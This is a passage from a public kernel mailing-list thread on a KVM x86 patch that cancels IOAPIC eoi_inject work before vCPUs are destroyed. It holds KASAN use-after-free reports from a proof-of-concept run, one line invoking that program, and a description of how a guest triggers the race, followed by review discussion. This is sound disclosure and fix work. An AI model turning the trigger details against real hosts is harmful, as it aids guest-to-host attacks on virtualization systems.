[   50.811549]  kasan_save_track+0x1c/0x70
[   50.811711]  kasan_save_free_info+0x3f/0x60
[   50.811868]  __kasan_slab_free+0x48/0x70
[   50.812020]  kfree+0x131/0x390
[   50.812144]  kvm_free_lapic+0x88/0xe0 [kvm]
[   50.813936]  kvm_arch_vcpu_destroy+0x15e/0x1f0 [kvm]
[   50.815728]  kvm_destroy_vcpus+0x19b/0x250 [kvm]
[   50.817491]  kvm_arch_destroy_vm+0x62/0x190 [kvm]
[   50.819274]  kvm_put_kvm+0x2b4/0x500 [kvm]
[   50.821024]  kvm_vm_release+0x29/0x40 [kvm]
[   50.822798]  __fput+0x1d3/0x4a0
[   50.822926]  fput_close_sync+0xcc/0x170
[   50.823068]  __x64_sys_close+0x57/0xa0
[   50.823196]  x64_sys_call+0x17bc/0x2010
[   50.823338]  do_syscall_64+0x102/0x5e0
[   50.823466]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   50.823696]
[   50.823804] The buggy address belongs to the object at ff1100010a290600
[   50.823804]  which belongs to the cache kmalloc-256 of size 256
[   50.824173] The buggy address is located 160 bytes inside of
[   50.824173]  freed 256-byte region [ff1100010a290600, ff1100010a290700)
[   50.824512]
[   50.824655] The buggy address belongs to the physical page:
[   50.825094] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a290
[   50.825495] head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   50.825802] flags: 0x200000000000040(head|node=0|zone=2)
[   50.826261] page_type: f5(slab)
[   50.826617] raw: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[   50.826842] raw: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[   50.827110] head: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[   50.827333] head: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[   50.827560] head: 0200000000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
[   50.827817] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   50.828041] page dumped because: kasan: bad access detected
[   50.828208]
[   50.828290] Memory state around the buggy address:
[   50.828605]  ff1100010a290580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   50.828859]  ff1100010a290600: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   50.829088] >ff1100010a290680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   50.829309]                                ^
[   50.829487]  ff1100010a290700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   50.829743]  ff1100010a290780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   50.829955] ==================================================================
[   50.830725] Disabling lock debugging due to kernel taint
```

after decode

```
/ # POC_ITERS=100 POC_NVCPU=64 POC_ARM_TIMEOUT_MS=15000 POC_SLEEP_US=10000 /bin/kvm-x86-poc
[*] IOAPIC eoi_inject UAF race: iters=100 nvcpu=64 base_sleep=10000us
[*] Needs a KASAN guest kernel to *observe* the UAF. Ctrl-C to stop.
[*] iter=0 armed=1   [   50.773111] ==================================================================
[   50.775501] BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[   50.778186] Read of size 8 at addr ff1100010a2906a0 by task kworker/3:1/47
[   50.778450]
[   50.779189] CPU: 3 UID: 0 PID: 47 Comm: kworker/3:1 Not tainted 7.2.0-rc1 #1 PREEMPT(lazy)
[   50.779420] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   50.779572] Workqueue: events kvm_ioapic_eoi_inject_work [kvm]
[   50.781876] Call Trace:
[   50.781950]  <TASK>
[   50.782031]  dump_stack_lvl (lib/dump_stack.c:94 (discriminator 1) lib/dump_stack.c:120 (discriminator 1))
[   50.782382]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[   50.782441]  ? __virt_addr_valid (include/linux/mmzone.h:2119 include/linux/mmzone.h:2271 arch/x86/mm/physaddr.c:54)
[   50.782489]  ? kasan_complete_mode_report_info (mm/kasan/report_generic.c:179)
[   50.782541]  kasan_report (mm/kasan/report.c:595)
[   50.782605]  ? __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[   50.784322]  ? __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[   50.786015]  __asan_load8 (mm/kasan/generic.c:194 mm/kasan/generic.c:273)
[   50.786101] __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[   50.787814]  ? __pfx___kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:860) kvm
[   50.789532]  ? ktime_get (kernel/time/timekeeping.c:438 kernel/time/timekeeping.c:455 kernel/time/timekeeping.c:973)
[   50.789600]  ? lapic_next_event (arch/x86/include/asm/apic.h:405 arch/x86/kernel/apic/apic.c:418)
[   50.789649]  ? clockevents_program_event (kernel/time/clockevents.c:373)
[   50.789704] __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1347) kvm
[   50.791399]  ? __kasan_check_write (mm/kasan/shadow.c:37)
[   50.791449]  ? __update_load_avg_cfs_rq (kernel/sched/pelt.c:147 kernel/sched/pelt.c:227 kernel/sched/pelt.c:323)
[   50.791492]  ? cpuacct_charge (kernel/sched/cpuacct.c:46 (discriminator 3) kernel/sched/cpuacct.c:343 (discriminator 3))
[   50.791536]  ? __pfx___kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1265) kvm
[   50.793217]  ? pick_eevdf (kernel/sched/fair.c:1148 (discriminator 1))
[   50.793268]  ? rb_insert_color (include/linux/rbtree_augmented.h:204 lib/rbtree.c:81 lib/rbtree.c:215 lib/rbtree.c:436)
[   50.793337] ioapic_service (arch/x86/kvm/lapic.h:130 arch/x86/kvm/ioapic.c:492) kvm
[   50.795009]  ? __pfx_ioapic_service (arch/x86/kvm/ioapic.c:155) kvm
[   50.796697]  ? __pfx__raw_spin_lock (??:?)
[   50.796752] kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:533) kvm
[   50.798437]  process_one_work (kernel/workqueue.c:3322)
[   50.798505]  worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[   50.798560]  ? __pfx_worker_thread (kernel/workqueue.c:3680)
[   50.798607]  kthread (kernel/kthread.c:436)
[   50.798670]  ? __pfx_kthread (kernel/kthread.c:378)
[   50.798709]  ret_from_fork (arch/x86/kernel/process.c:158)
[   50.798753]  ? __pfx_ret_from_fork (arch/x86/kernel/process.c:510)
[   50.798794]  ? __asan_storeN (mm/kasan/generic.c:288)
[   50.798833]  ? __switch_to (include/linux/thread_info.h:142 arch/x86/kernel/process.h:17 arch/x86/kernel/process_64.c:676)
[   50.798878]  ? __pfx_kthread (kernel/kthread.c:378)
[   50.798920]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   50.799004]  </TASK>
[   50.799081]
[   50.803914] Allocated by task 109 on cpu 1 at 48.240120s:
[   50.804161]  kasan_save_stack (mm/kasan/common.c:57)
[   50.804408]  kasan_save_track (mm/kasan/common.c:78)
[   50.804559]  kasan_save_alloc_info (mm/kasan/generic.c:570)
[   50.804750]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[   50.804888]  __kmalloc_cache_noprof (include/linux/kasan.h:263 mm/slub.c:5515)
[   50.805040] kvm_create_lapic (include/linux/slab.h:969 include/linux/slab.h:1290 arch/x86/kvm/lapic.c:3111) kvm
[   50.806856] kvm_arch_vcpu_create (arch/x86/kvm/x86.c:12793) kvm
[   50.808719] kvm_vm_ioctl (arch/x86/kvm/../../../virt/kvm/kvm_main.c:4201 arch/x86/kvm/../../../virt/kvm/kvm_main.c:5159) kvm
[   50.810483]  __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[   50.810670]  x64_sys_call (/root/kvm-tcg-v7.2-rc1/build-kasan-outline/./arch/x86/include/generated/asm/syscalls_64.h:17)
[   50.810815]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   50.810956]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   50.811144]
[   50.811236] Freed by task 109 on cpu 2 at 50.771569s:
[   50.811400]  kasan_save_stack (mm/kasan/common.c:57)
[   50.811549]  kasan_save_track (mm/kasan/common.c:78)
[   50.811711]  kasan_save_free_info (mm/kasan/generic.c:584)
[   50.811868]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[   50.812020]  kfree (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:6405 mm/slub.c:6720)
[   50.812144] kvm_free_lapic (arch/x86/kvm/lapic.c:2722) kvm
[   50.813936] kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12907) kvm
[   50.815728] kvm_destroy_vcpus (arch/x86/kvm/../../../virt/kvm/kvm_main.c:468 arch/x86/kvm/../../../virt/kvm/kvm_main.c:488) kvm
[   50.817491] kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13459) kvm
[   50.819274] kvm_put_kvm (arch/x86/kvm/../../../virt/kvm/kvm_main.c:1294 arch/x86/kvm/../../../virt/kvm/kvm_main.c:1331) kvm
[   50.821024] kvm_vm_release (arch/x86/kvm/../../../virt/kvm/kvm_main.c:1354) kvm
[   50.822798]  __fput (fs/file_table.c:512)
[   50.822926]  fput_close_sync (fs/file_table.c:617)
[   50.823068]  __x64_sys_close (fs/open.c:1511 fs/open.c:1496 fs/open.c:1496)
[   50.823196]  x64_sys_call (/root/kvm-tcg-v7.2-rc1/build-kasan-outline/./arch/x86/include/generated/asm/syscalls_64.h:4)
[   50.823338]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   50.823466]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   50.823696]
[   50.823804] The buggy address belongs to the object at ff1100010a290600
[   50.823804]  which belongs to the cache kmalloc-256 of size 256
[   50.824173] The buggy address is located 160 bytes inside of
[   50.824173]  freed 256-byte region [ff1100010a290600, ff1100010a290700)
[   50.824512]
[   50.824655] The buggy address belongs to the physical page:
[   50.825094] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a290
[   50.825495] head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   50.825802] flags: 0x200000000000040(head|node=0|zone=2)
[   50.826261] page_type: f5(slab)
[   50.826617] raw: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[   50.826842] raw: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[   50.827110] head: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[   50.827333] head: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[   50.827560] head: 0200000000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
[   50.827817] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   50.828041] page dumped because: kasan: bad access detected
[   50.828208]
[   50.828290] Memory state around the buggy address:
[   50.828605]  ff1100010a290580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   50.828859]  ff1100010a290600: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   50.829088] >ff1100010a290680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   50.829309]                                ^
[   50.829487]  ff1100010a290700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   50.829743]  ff1100010a290780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[   50.829955] ==================================================================
[   50.830725] Disabling lock debugging due to kernel taint
```

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
  2026-07-05  5:04 [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs Weiming Shi
  2026-07-05  5:18 ` 王众
@ 2026-07-06  9:09 ` Huang, Kai
  2026-07-06 17:50   ` Weiming Shi
  1 sibling, 1 reply; 4+ messages in thread
From: Huang, Kai @ 2026-07-06  9:09 UTC (permalink / raw)
  To: pbonzini@redhat.com, seanjc@google.com, bestswngs@gmail.com
  Cc: Wang, Zhong, kvm@vger.kernel.org, shixuanqing.11@bytedance.com

On Sun, 2026-07-05 at 13:04 +0800, Weiming Shi wrote:
> kvm_ioapic_eoi_inject_work() re-delivers a throttled level-triggered
> interrupt via kvm_irq_delivery_to_apic(), which walks kvm->arch.apic_map
> and dereferences the destination vCPU's APIC.  The work is cancelled only
> in kvm_ioapic_destroy(), which runs after kvm_destroy_vcpus() has freed
> the vCPUs and their APICs.  kvm_free_lapic() does not rebuild apic_map, so
> the map is left with dangling pointers, and a work item that fires during
> that window reads freed memory:
> 
>  BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
>  Read of size 8 by task kworker/3:1
>  Workqueue: events kvm_ioapic_eoi_inject_work
>   __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
>   __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1343)
>   ioapic_service (arch/x86/kvm/ioapic.c:492)
>   kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:525)
>   process_one_work
> 
>  Freed by task 153:
>   kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12871)
>   kvm_destroy_vcpus (virt/kvm/kvm_main.c:489)
>   kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13402)
>   kvm_destroy_vm (virt/kvm/kvm_main.c:1302)
>   kvm_vm_release (virt/kvm/kvm_main.c:1363)
> 
> A guest arms the work by EOIing a level-triggered pin 10000 times in a
> row, so the window is reachable from guest ring 0 whenever its VM is torn
> down soon after.
> 
> Add kvm_ioapic_pre_destroy() and call it from kvm_arch_pre_destroy_vm(),
> which already stops the PIT and the kvmclock/MMU workers before vCPUs are
> freed for the same reason.

I am wondering whether we can just move kvm_ioapic_destroy() (and
kvm_pic_destroy()) to kvm_arch_pre_destroy_vm().  I guess the concern is we want
to make sure vIOAPIC is destroyed _after_ kvm_free_irq_routing() is done?

Btw, one odd thing I saw is all KVM IO buses are actually destroyed right after
kvm_free_irq_routing(), but yet kvm_ioapic_destroy() tries to unregister it from
the KVM_MMIO_BUS (ditto for kvm_pic_destroy).

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
  2026-07-06  9:09 ` Huang, Kai
@ 2026-07-06 17:50   ` Weiming Shi
  0 siblings, 0 replies; 4+ messages in thread
From: Weiming Shi @ 2026-07-06 17:50 UTC (permalink / raw)
  To: Huang, Kai
  Cc: pbonzini@redhat.com, seanjc@google.com, Wang, Zhong,
	kvm@vger.kernel.org, shixuanqing.11@bytedance.com

Huang, Kai <kai.huang@intel.com> 于2026年7月6日周一 17:09写道:
>
> On Sun, 2026-07-05 at 13:04 +0800, Weiming Shi wrote:
> > kvm_ioapic_eoi_inject_work() re-delivers a throttled level-triggered
> > interrupt via kvm_irq_delivery_to_apic(), which walks kvm->arch.apic_map
> > and dereferences the destination vCPU's APIC.  The work is cancelled only
> > in kvm_ioapic_destroy(), which runs after kvm_destroy_vcpus() has freed
> > the vCPUs and their APICs.  kvm_free_lapic() does not rebuild apic_map, so
> > the map is left with dangling pointers, and a work item that fires during
> > that window reads freed memory:
> >
> >  BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
> >  Read of size 8 by task kworker/3:1
> >  Workqueue: events kvm_ioapic_eoi_inject_work
> >   __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
> >   __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1343)
> >   ioapic_service (arch/x86/kvm/ioapic.c:492)
> >   kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:525)
> >   process_one_work
> >
> >  Freed by task 153:
> >   kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12871)
> >   kvm_destroy_vcpus (virt/kvm/kvm_main.c:489)
> >   kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13402)
> >   kvm_destroy_vm (virt/kvm/kvm_main.c:1302)
> >   kvm_vm_release (virt/kvm/kvm_main.c:1363)
> >
> > A guest arms the work by EOIing a level-triggered pin 10000 times in a
> > row, so the window is reachable from guest ring 0 whenever its VM is torn
> > down soon after.
> >
> > Add kvm_ioapic_pre_destroy() and call it from kvm_arch_pre_destroy_vm(),
> > which already stops the PIT and the kvmclock/MMU workers before vCPUs are
> > freed for the same reason.
>
> I am wondering whether we can just move kvm_ioapic_destroy() (and
> kvm_pic_destroy()) to kvm_arch_pre_destroy_vm().  I guess the concern is we want
> to make sure vIOAPIC is destroyed _after_ kvm_free_irq_routing() is done?
>

Yeah, moving them is cleaner than a helper, will do that in v2.

> Btw, one odd thing I saw is all KVM IO buses are actually destroyed right after
> kvm_free_irq_routing(), but yet kvm_ioapic_destroy() tries to unregister it from
> the KVM_MMIO_BUS (ditto for kvm_pic_destroy).

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-07-06 17:51 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-05  5:04 [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs Weiming Shi
2026-07-05  5:18 ` 王众
2026-07-06  9:09 ` Huang, Kai
2026-07-06 17:50   ` Weiming Shi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox